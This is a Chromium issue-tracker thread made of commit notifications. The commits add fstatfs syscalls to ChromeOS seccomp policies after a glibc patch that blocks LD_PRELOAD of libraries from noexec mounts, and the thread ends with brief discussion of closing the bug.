[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #62
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/platform2/+/4ec7f395d74cfc4b09c9786b975dd7caa3e22f4f
commit 4ec7f395d74cfc4b09c9786b975dd7caa3e22f4f
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Sun Aug 15 17:10:24 2021
camera: Add fstafs(64) to ARM seccomp filters
Due to a CQ test failure in elm devices, we've identified a future
issue where the cros_camera_service crashes when we apply a local
glibc security hardening change which checks files if they lay
on a noexec mount.
The AMD64 policy already had the fstatfs syscall.
This commit adds the missing syscalls in lexicographic order.
BUG=chromium:1182687
TEST=CQ ofhttp://crrev.com/c/2910526
Change-Id: I73d39f9c56e8ef1db0200e5911fa0078b6dff084
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/platform2/+/3095653
Commit-Queue: Manoj Gupta <manojgupta@chromium.org>
Reviewed-by: Hung-yu Wu <hywu@chromium.org>
Reviewed-by: Shik Chen <shik@chromium.org>
Tested-by: Manoj Gupta <manojgupta@chromium.org>
[modify]https://crrev.com/4ec7f395d74cfc4b09c9786b975dd7caa3e22f4f/camera/hal_adapter/seccomp_filter/cros-camera-arm.policy
[modify]https://crrev.com/4ec7f395d74cfc4b09c9786b975dd7caa3e22f4f/camera/hal_adapter/seccomp_filter/cros-camera-arm64.policy
commit 4ec7f395d74cfc4b09c9786b975dd7caa3e22f4f
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Sun Aug 15 17:10:24 2021
camera: Add fstafs(64) to ARM seccomp filters
Due to a CQ test failure in elm devices, we've identified a future
issue where the cros_camera_service crashes when we apply a local
glibc security hardening change which checks files if they lay
on a noexec mount.
The AMD64 policy already had the fstatfs syscall.
This commit adds the missing syscalls in lexicographic order.
BUG=chromium:1182687
TEST=CQ of
Change-Id: I73d39f9c56e8ef1db0200e5911fa0078b6dff084
Reviewed-on:
Commit-Queue: Manoj Gupta <manojgupta@chromium.org>
Reviewed-by: Hung-yu Wu <hywu@chromium.org>
Reviewed-by: Shik Chen <shik@chromium.org>
Tested-by: Manoj Gupta <manojgupta@chromium.org>
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #63
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/platform2/+/9eec421b01033367eab85d914ff8b6c59a31825a
commit 9eec421b01033367eab85d914ff8b6c59a31825a
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Sun Aug 15 17:18:19 2021
attestation: Add fstafs(64) to seccomp policies
Due to a CQ test failure in elm devices, we've identified a future
issue where the attestation daemon crashes when we apply a local
glibc security hardening change which checks files if they lay
on a noexec mount.
This commit adds the missing syscalls, grouped according by function.
BUG=chromium:1182687
TEST=CQ ofhttp://crrev.com/c/2910526
Change-Id: If557fa52cba3ceb6ecc0711f326ba9ae1c940d1c
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/platform2/+/3095654
Reviewed-by: Andrey Pronin <apronin@chromium.org>
Reviewed-by: Manoj Gupta <manojgupta@chromium.org>
Tested-by: Manoj Gupta <manojgupta@chromium.org>
[modify]https://crrev.com/9eec421b01033367eab85d914ff8b6c59a31825a/attestation/server/attestationd-seccomp-amd64.policy
[modify]https://crrev.com/9eec421b01033367eab85d914ff8b6c59a31825a/attestation/server/attestationd-seccomp-arm.policy
[modify]https://crrev.com/9eec421b01033367eab85d914ff8b6c59a31825a/attestation/server/attestationd-seccomp-arm64.policy
[modify]https://crrev.com/9eec421b01033367eab85d914ff8b6c59a31825a/attestation/server/attestationd-seccomp-x86.policy
commit 9eec421b01033367eab85d914ff8b6c59a31825a
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Sun Aug 15 17:18:19 2021
attestation: Add fstafs(64) to seccomp policies
Due to a CQ test failure in elm devices, we've identified a future
issue where the attestation daemon crashes when we apply a local
glibc security hardening change which checks files if they lay
on a noexec mount.
This commit adds the missing syscalls, grouped according by function.
BUG=chromium:1182687
TEST=CQ of
Change-Id: If557fa52cba3ceb6ecc0711f326ba9ae1c940d1c
Reviewed-on:
Reviewed-by: Andrey Pronin <apronin@chromium.org>
Reviewed-by: Manoj Gupta <manojgupta@chromium.org>
Tested-by: Manoj Gupta <manojgupta@chromium.org>
[modify]
[modify]
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #64
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/overlays/chromiumos-overlay/+/cb9f07609f301a1bb0d7fe7087a15a7ab3159912
commit cb9f07609f301a1bb0d7fe7087a15a7ab3159912
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Thu May 20 19:22:52 2021
glibc: Patch LD_PRELOAD to disable loading noexec
Prevent loading of shared libraries which reside in NOEXEC
partitions. This blocks using LD_PRELOAD and the --preload
flag to load these shared libraries before their headers are
read in.
BUG=chromium:1182687
TEST=Tested on volteer locally and on volteer crosfleet instances
TEST=Tested on trogdor locally
Disallow-Recycled-Builds: test-failures
Change-Id: I9335b74ca86816ade6eb2b62730374b983b61494
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/overlays/chromiumos-overlay/+/2910526
Reviewed-by: Manoj Gupta <manojgupta@chromium.org>
Reviewed-by: Luis Lozano <llozano@chromium.org>
Reviewed-by: Adrian Ratiu <adrian.ratiu@collabora.corp-partner.google.com>
Tested-by: Manoj Gupta <manojgupta@chromium.org>
[add]https://crrev.com/cb9f07609f301a1bb0d7fe7087a15a7ab3159912/sys-libs/glibc/files/local/glibc-2.32/0013-Deny-LD_PRELOAD-of-files-in-NOEXEC-mount.patch
[rename]https://crrev.com/cb9f07609f301a1bb0d7fe7087a15a7ab3159912/sys-libs/glibc/glibc-2.32-r16.ebuild
commit cb9f07609f301a1bb0d7fe7087a15a7ab3159912
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Thu May 20 19:22:52 2021
glibc: Patch LD_PRELOAD to disable loading noexec
Prevent loading of shared libraries which reside in NOEXEC
partitions. This blocks using LD_PRELOAD and the --preload
flag to load these shared libraries before their headers are
read in.
BUG=chromium:1182687
TEST=Tested on volteer locally and on volteer crosfleet instances
TEST=Tested on trogdor locally
Disallow-Recycled-Builds: test-failures
Change-Id: I9335b74ca86816ade6eb2b62730374b983b61494
Reviewed-on:
Reviewed-by: Manoj Gupta <manojgupta@chromium.org>
Reviewed-by: Luis Lozano <llozano@chromium.org>
Reviewed-by: Adrian Ratiu <adrian.ratiu@collabora.corp-partner.google.com>
Tested-by: Manoj Gupta <manojgupta@chromium.org>
[add]
[rename]
ma...@google.com <ma...@google.com> #65
[Empty comment from Monorail migration]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #66
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/platform2/+/db571d2030f088c20fad75c127ba6f2cd21e6df5
commit db571d2030f088c20fad75c127ba6f2cd21e6df5
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Mon Aug 23 17:18:50 2021
kerberos: Add fstatfs(64) syscalls to seccomp policies
Due to a local security hardening patch in glibc, we're now
calling fstatfs and fstatfs64 during dlopen. This is crashing
kerberos at present. This commit should fix the issue.
Issue was identified via crash.corp:http://shortn/_IPa2XutpBT
BUG=chromium:1182687
TEST=CQ
Change-Id: I0fe950ab6889ab8c7551d82b9a11f7b6426edd34
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/platform2/+/3114474
Reviewed-by: Manoj Gupta <manojgupta@chromium.org>
Reviewed-by: Felipe Andrade <fsandrade@chromium.org>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Commit-Queue: Felipe Andrade <fsandrade@chromium.org>
[modify]https://crrev.com/db571d2030f088c20fad75c127ba6f2cd21e6df5/kerberos/seccomp/kerberosd-seccomp-amd64.policy
[modify]https://crrev.com/db571d2030f088c20fad75c127ba6f2cd21e6df5/kerberos/seccomp/kerberosd-seccomp-arm.policy
[modify]https://crrev.com/db571d2030f088c20fad75c127ba6f2cd21e6df5/kerberos/seccomp/kerberosd-seccomp-arm64.policy
commit db571d2030f088c20fad75c127ba6f2cd21e6df5
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Mon Aug 23 17:18:50 2021
kerberos: Add fstatfs(64) syscalls to seccomp policies
Due to a local security hardening patch in glibc, we're now
calling fstatfs and fstatfs64 during dlopen. This is crashing
kerberos at present. This commit should fix the issue.
Issue was identified via crash.corp:
BUG=chromium:1182687
TEST=CQ
Change-Id: I0fe950ab6889ab8c7551d82b9a11f7b6426edd34
Reviewed-on:
Reviewed-by: Manoj Gupta <manojgupta@chromium.org>
Reviewed-by: Felipe Andrade <fsandrade@chromium.org>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Commit-Queue: Felipe Andrade <fsandrade@chromium.org>
[modify]
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #67
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/platform2/+/fa7288c6ff9db1539a522bb91f05b8aba56b797e
commit fa7288c6ff9db1539a522bb91f05b8aba56b797e
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Mon Aug 23 17:45:29 2021
ml: Add fstatfs(64) syscalls to seccomp policies
Due to a local security hardening patch in glibc, we're now
calling fstatfs and fstatfs64 during dlopen. This is crashing
ml_service at present. This commit should fix the issue.
Issue was identified via crash.corp:http://shortn/_13ritdxMg6
BUG=chromium:1182687
TEST=CQ
Change-Id: I191504a166c86a847d3440af8fddeea97f31f72f
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/platform2/+/3114478
Reviewed-by: Honglin Yu <honglinyu@chromium.org>
Reviewed-by: Xinglong Luan <alanlxl@chromium.org>
Commit-Queue: Manoj Gupta <manojgupta@chromium.org>
Tested-by: Manoj Gupta <manojgupta@chromium.org>
[modify]https://crrev.com/fa7288c6ff9db1539a522bb91f05b8aba56b797e/ml/seccomp/ml_service-HandwritingModel-seccomp-amd64.policy
[modify]https://crrev.com/fa7288c6ff9db1539a522bb91f05b8aba56b797e/ml/seccomp/ml_service-HandwritingModel-seccomp-arm.policy
[modify]https://crrev.com/fa7288c6ff9db1539a522bb91f05b8aba56b797e/ml/seccomp/ml_service-SodaModel-seccomp-amd64.policy
[modify]https://crrev.com/fa7288c6ff9db1539a522bb91f05b8aba56b797e/ml/seccomp/ml_service-SodaModel-seccomp-arm.policy
commit fa7288c6ff9db1539a522bb91f05b8aba56b797e
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Mon Aug 23 17:45:29 2021
ml: Add fstatfs(64) syscalls to seccomp policies
Due to a local security hardening patch in glibc, we're now
calling fstatfs and fstatfs64 during dlopen. This is crashing
ml_service at present. This commit should fix the issue.
Issue was identified via crash.corp:
BUG=chromium:1182687
TEST=CQ
Change-Id: I191504a166c86a847d3440af8fddeea97f31f72f
Reviewed-on:
Reviewed-by: Honglin Yu <honglinyu@chromium.org>
Reviewed-by: Xinglong Luan <alanlxl@chromium.org>
Commit-Queue: Manoj Gupta <manojgupta@chromium.org>
Tested-by: Manoj Gupta <manojgupta@chromium.org>
[modify]
[modify]
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #68
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/platform2/+/81be69d9ff9642b8a950a789f2b7dffd6a68e5d1
commit 81be69d9ff9642b8a950a789f2b7dffd6a68e5d1
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Thu Aug 26 16:54:11 2021
smbfs: Add fstatfs(64) to seccomp policies
Due to a local security hardening patch in glibc, we're now
calling fstatfs and fstatfs64 during dlopen. This is crashing
smbfs at present. This commit should fix the issue.
Issue was identified via crash.corp:http://shortn/_Rx9DKe3lUw
BUG=chromium:1182687
TEST=CQ
Change-Id: I2237dac4cc4821c92d19db1e6c8a140e98a41cfd
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/platform2/+/3122497
Commit-Queue: Manoj Gupta <manojgupta@chromium.org>
Reviewed-by: Peter Marshall <petermarshall@chromium.org>
Reviewed-by: Manoj Gupta <manojgupta@chromium.org>
Tested-by: Manoj Gupta <manojgupta@chromium.org>
[modify]https://crrev.com/81be69d9ff9642b8a950a789f2b7dffd6a68e5d1/smbfs/seccomp_filters/smbfs-seccomp-amd64.policy
[modify]https://crrev.com/81be69d9ff9642b8a950a789f2b7dffd6a68e5d1/smbfs/seccomp_filters/smbfs-seccomp-arm.policy
[modify]https://crrev.com/81be69d9ff9642b8a950a789f2b7dffd6a68e5d1/smbfs/seccomp_filters/smbfs-seccomp-arm64.policy
commit 81be69d9ff9642b8a950a789f2b7dffd6a68e5d1
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Thu Aug 26 16:54:11 2021
smbfs: Add fstatfs(64) to seccomp policies
Due to a local security hardening patch in glibc, we're now
calling fstatfs and fstatfs64 during dlopen. This is crashing
smbfs at present. This commit should fix the issue.
Issue was identified via crash.corp:
BUG=chromium:1182687
TEST=CQ
Change-Id: I2237dac4cc4821c92d19db1e6c8a140e98a41cfd
Reviewed-on:
Commit-Queue: Manoj Gupta <manojgupta@chromium.org>
Reviewed-by: Peter Marshall <petermarshall@chromium.org>
Reviewed-by: Manoj Gupta <manojgupta@chromium.org>
Tested-by: Manoj Gupta <manojgupta@chromium.org>
[modify]
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #69
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/platform2/+/f110fbf8ddca6bc8dc9a4641ba9a40c9cf2b07a6
commit f110fbf8ddca6bc8dc9a4641ba9a40c9cf2b07a6
Author: François Degros <fdegros@chromium.org>
Date: Wed Aug 25 01:57:21 2021
cros-disks: Add fstatfs* to archivemount seccomp policies
A change in glibc will force all systems which load shared libraries to
call the fstatfs or fstatfs64 syscall.
BUG=chromium:1182687
TEST=None
Change-Id: I0d40d57ed541226c9a3e734f5414ff115504e887
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/platform2/+/3120767
Reviewed-by: Austin Tankiang <austinct@chromium.org>
Commit-Queue: François Degros <fdegros@chromium.org>
Tested-by: François Degros <fdegros@chromium.org>
[modify]https://crrev.com/f110fbf8ddca6bc8dc9a4641ba9a40c9cf2b07a6/cros-disks/archivemount-seccomp-amd64.policy
[modify]https://crrev.com/f110fbf8ddca6bc8dc9a4641ba9a40c9cf2b07a6/cros-disks/archivemount-seccomp-arm.policy
[modify]https://crrev.com/f110fbf8ddca6bc8dc9a4641ba9a40c9cf2b07a6/cros-disks/archivemount-seccomp-arm64.policy
commit f110fbf8ddca6bc8dc9a4641ba9a40c9cf2b07a6
Author: François Degros <fdegros@chromium.org>
Date: Wed Aug 25 01:57:21 2021
cros-disks: Add fstatfs* to archivemount seccomp policies
A change in glibc will force all systems which load shared libraries to
call the fstatfs or fstatfs64 syscall.
BUG=chromium:1182687
TEST=None
Change-Id: I0d40d57ed541226c9a3e734f5414ff115504e887
Reviewed-on:
Reviewed-by: Austin Tankiang <austinct@chromium.org>
Commit-Queue: François Degros <fdegros@chromium.org>
Tested-by: François Degros <fdegros@chromium.org>
[modify]
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #70
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/platform/touch_updater/+/97e19f6c183413affb7dbef8b4265234b78f6365
commit 97e19f6c183413affb7dbef8b4265234b78f6365
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Tue Aug 24 20:48:08 2021
Add fstatfs(64) syscalls to seccomp policies
Due to a local security hardening patch in glibc, we're now
calling fstatfs and fstatfs64 during dlopen. This is crashing
dash and kmod at present, which we _suspect_ some of those
crashes may be due to uncaught errors in touch_updater policies,
Crashes were identified via crash.corp
dash:http://shortn/_eLdGeNd8sp
kmod:http://shortn/_IheitZgfkV
BUG=chromium:1182687
TEST=Check CQ for dash seccomp failures during HW tests
Change-Id: Ie2ac28ca6ba84b94139ec65ae52dd8e3e73a9b7f
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/platform/touch_updater/+/3116692
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Andrew de los Reyes <adlr@chromium.org>
Reviewed-by: Harry Cutts <hcutts@chromium.org>
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/etphidiap/policies/amd64/etphidiap.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/etphidiap/policies/amd64/etphidiap.update.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/elani2chid.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/elani2chid.update.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/emrightupdate.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/emrightupdate.update.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/eps2pstiap.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/eps2pstiap.update.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/g2touch.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/g2touch.update.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/gdixupdate.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/gdixupdate.update.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/mfsupdate.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/mfsupdate.update.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/pixtpfwup.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/pixtpfwup.update.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/rmi4update.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/rmi4update.update.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/sisupdate.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/sisupdate.update.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/wacom_flash.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/wacom_flash.update.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/wdt_util.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/wdt_util.update.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/zinitixupdate.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/amd64/zinitixupdate.update.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/arm/elani2chid.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/arm/elani2chid.update.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/arm/g2touch.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/arm/g2touch.update.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/arm/gdixupdate.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/arm/gdixupdate.update.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/arm/pixtpfwup.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/arm/pixtpfwup.update.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/arm/rmi4update.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/arm/rmi4update.update.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/arm/wacom_flash.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/arm/wacom_flash.update.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/arm/wdt_util.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/arm/wdt_util.update.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/arm64/g2touch.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/arm64/g2touch.update.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/arm64/rmi4update.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/arm64/rmi4update.update.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/arm64/wacom_flash.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/policies/arm64/wacom_flash.update.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/stupdate/policies/amd64/stupdate.query.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/stupdate/policies/amd64/stupdate.read.policy
[modify]https://crrev.com/97e19f6c183413affb7dbef8b4265234b78f6365/stupdate/policies/amd64/stupdate.update.policy
commit 97e19f6c183413affb7dbef8b4265234b78f6365
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Tue Aug 24 20:48:08 2021
Add fstatfs(64) syscalls to seccomp policies
Due to a local security hardening patch in glibc, we're now
calling fstatfs and fstatfs64 during dlopen. This is crashing
dash and kmod at present, which we _suspect_ some of those
crashes may be due to uncaught errors in touch_updater policies,
Crashes were identified via crash.corp
dash:
kmod:
BUG=chromium:1182687
TEST=Check CQ for dash seccomp failures during HW tests
Change-Id: Ie2ac28ca6ba84b94139ec65ae52dd8e3e73a9b7f
Reviewed-on:
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Andrew de los Reyes <adlr@chromium.org>
Reviewed-by: Harry Cutts <hcutts@chromium.org>
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #71
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/platform2/+/eb0387e68a6a10302ab94b6a1171cefbc0943d2d
commit eb0387e68a6a10302ab94b6a1171cefbc0943d2d
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Mon Aug 30 20:36:09 2021
adbd: Add fstatfs(64) to seccomp filters
Due to a local security hardening patch in glibc, we're now
calling fstatfs and fstatfs64 during dlopen. This is crashing
kmod at present, which we _suspect_ some of those crashes
may be due to missing fstatfs in adbd policies.
Crashes found via crash.corp:http://shortn/_IheitZgfkV
BUG=chromium:1182687
TEST=N/A (we can't repo the issue seen in prod locally or in CQ)
Change-Id: Ie1b9daad72a9b88d564d8f750a9f774ffd8ba6e3
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/platform2/+/3131100
Reviewed-by: Manoj Gupta <manojgupta@chromium.org>
Reviewed-by: Yusuke Sato <yusukes@chromium.org>
Commit-Queue: Manoj Gupta <manojgupta@chromium.org>
Tested-by: Manoj Gupta <manojgupta@chromium.org>
[modify]https://crrev.com/eb0387e68a6a10302ab94b6a1171cefbc0943d2d/arc/adbd/seccomp/arc-adbd-amd64.policy
[modify]https://crrev.com/eb0387e68a6a10302ab94b6a1171cefbc0943d2d/arc/adbd/seccomp/arc-adbd-arm.policy
[modify]https://crrev.com/eb0387e68a6a10302ab94b6a1171cefbc0943d2d/arc/adbd/seccomp/arc-adbd-arm64.policy
[modify]https://crrev.com/eb0387e68a6a10302ab94b6a1171cefbc0943d2d/arc/adbd/seccomp/arcvm-adbd-amd64.policy
commit eb0387e68a6a10302ab94b6a1171cefbc0943d2d
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Mon Aug 30 20:36:09 2021
adbd: Add fstatfs(64) to seccomp filters
Due to a local security hardening patch in glibc, we're now
calling fstatfs and fstatfs64 during dlopen. This is crashing
kmod at present, which we _suspect_ some of those crashes
may be due to missing fstatfs in adbd policies.
Crashes found via crash.corp:
BUG=chromium:1182687
TEST=N/A (we can't repo the issue seen in prod locally or in CQ)
Change-Id: Ie1b9daad72a9b88d564d8f750a9f774ffd8ba6e3
Reviewed-on:
Reviewed-by: Manoj Gupta <manojgupta@chromium.org>
Reviewed-by: Yusuke Sato <yusukes@chromium.org>
Commit-Queue: Manoj Gupta <manojgupta@chromium.org>
Tested-by: Manoj Gupta <manojgupta@chromium.org>
[modify]
[modify]
[modify]
[modify]
be...@google.com <be...@google.com> #72
Hi ajordanr@, a few commits have landed recently. Is the issue fixed now and can we close this bug?
aj...@google.com <aj...@google.com> #73
This should be fixed--we're not seeing any more seccomp issues and the underlying issue does not manifest further. We can close this bug.
We have one tracking bug for RunOCI in buganizer (https://b.corp.google.com/issues/194923131 ) to track some cleanup.
I'd be happy to get external verification that this is fully closed. My tests for this were local (besides the RunOCI test which this patch broke legitimately).
We have one tracking bug for RunOCI in buganizer (
I'd be happy to get external verification that this is fully closed. My tests for this were local (besides the RunOCI test which this patch broke legitimately).
[Deleted User] <[Deleted User]> #74
[Empty comment from Monorail migration]
am...@chromium.org <am...@chromium.org> #75
[Empty comment from Monorail migration]
jo...@chromium.org <jo...@chromium.org> #76
I don't think we can feasibly merge this to 93.
ll...@google.com <ll...@google.com> #77
Updating toolchain components (like gblic in this case) in branches is very difficult
I don't think this needs updating the branch.
@jordanr: there is still the issue of getting acceptance/rejection from the glibc upstream community.
Do we have a bug for tracking that?
I don't think this needs updating the branch.
@jordanr: there is still the issue of getting acceptance/rejection from the glibc upstream community.
Do we have a bug for tracking that?
rz...@google.com <rz...@google.com> #78
[Empty comment from Monorail migration]
ja...@google.com <ja...@google.com> #79
[Empty comment from Monorail migration]
[Deleted User] <[Deleted User]> #80
This bug has been closed for more than 14 weeks. Removing security view restrictions.
For more details visithttps://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
For more details visit
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #81
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/platform/touch_updater/+/3d54d863f2e8c003d198c01dad1d4453d3d867a9
commit 3d54d863f2e8c003d198c01dad1d4453d3d867a9
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Tue Aug 24 20:48:08 2021
Add fstatfs(64) syscalls to seccomp policies
Due to a local security hardening patch in glibc, we're now
calling fstatfs and fstatfs64 during dlopen. This is crashing
dash and kmod at present, which we _suspect_ some of those
crashes may be due to uncaught errors in touch_updater policies,
Crashes were identified via crash.corp
dash:http://shortn/_eLdGeNd8sp
kmod:http://shortn/_IheitZgfkV
BUG=chromium:1182687
TEST=Check CQ for dash seccomp failures during HW tests
Cq-Depend: chromium:3573728
Change-Id: Ie2ac28ca6ba84b94139ec65ae52dd8e3e73a9b7f
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/platform/touch_updater/+/3116692
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Andrew de los Reyes <adlr@chromium.org>
Reviewed-by: Harry Cutts <hcutts@chromium.org>
(cherry picked from commit 97e19f6c183413affb7dbef8b4265234b78f6365)
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/platform/touch_updater/+/3573729
Reviewed-by: Bob Moragues <moragues@chromium.org>
Tested-by: Davis Hung <davis.hung@quanta.corp-partner.google.com>
Commit-Queue: Knox Chiou <knoxchiou@chromium.org>
Tested-by: Knox Chiou <knoxchiou@chromium.org>
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/rmi4update.update.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/wdt_util.update.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/sisupdate.query.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/arm/wacom_flash.query.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/arm/pixtpfwup.query.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/arm/g2touch.query.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/gdixupdate.update.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/wacom_flash.query.policy
